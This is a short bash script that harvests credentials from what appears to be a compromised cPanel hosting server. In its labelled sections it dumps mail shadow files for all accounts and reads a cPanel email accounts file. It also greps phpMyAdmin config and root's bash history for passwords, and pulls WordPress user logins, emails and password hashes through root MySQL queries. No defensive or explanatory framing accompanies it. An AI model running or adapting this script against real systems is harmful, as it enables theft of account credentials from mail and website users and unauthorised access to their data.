#!/bin/bash
echo "===== A: mail password shadow files (all accounts/domains)"
for f in /home/*/etc/*/shadow /home/*/etc/shadow; do [ -f "$f" ] && { echo "-- $f"; cat "$f"; }; done 2>/dev/null | head -60
echo "===== B: email accounts json"
head -c 2000 /home/ara/.cpanel/email_accounts.json 2>/dev/null; echo
echo "===== C: phpMyAdmin cpanel config controluser"
grep -iE "user|pass|host" /usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php | grep -viE "^\s*//" | head -20
echo "===== D: root bash_history creds"
grep -aiE "mysql -p|passwd|password|PASS=|export .*PASS|whmapi|--user=|--password=" /root/.bash_history 2>/dev/null | head -30
echo "===== E: ara_commondb users table quick"
mysql -uroot -N -e "SHOW TABLES FROM ara_commondb;" 2>&1 | head -20
echo "===== F: ara_wordpress.db users"
mysql -uroot -N -e "SELECT ID,user_login,user_email,user_pass FROM ara_wordpress.db.wp_users LIMIT 10;" 2>&1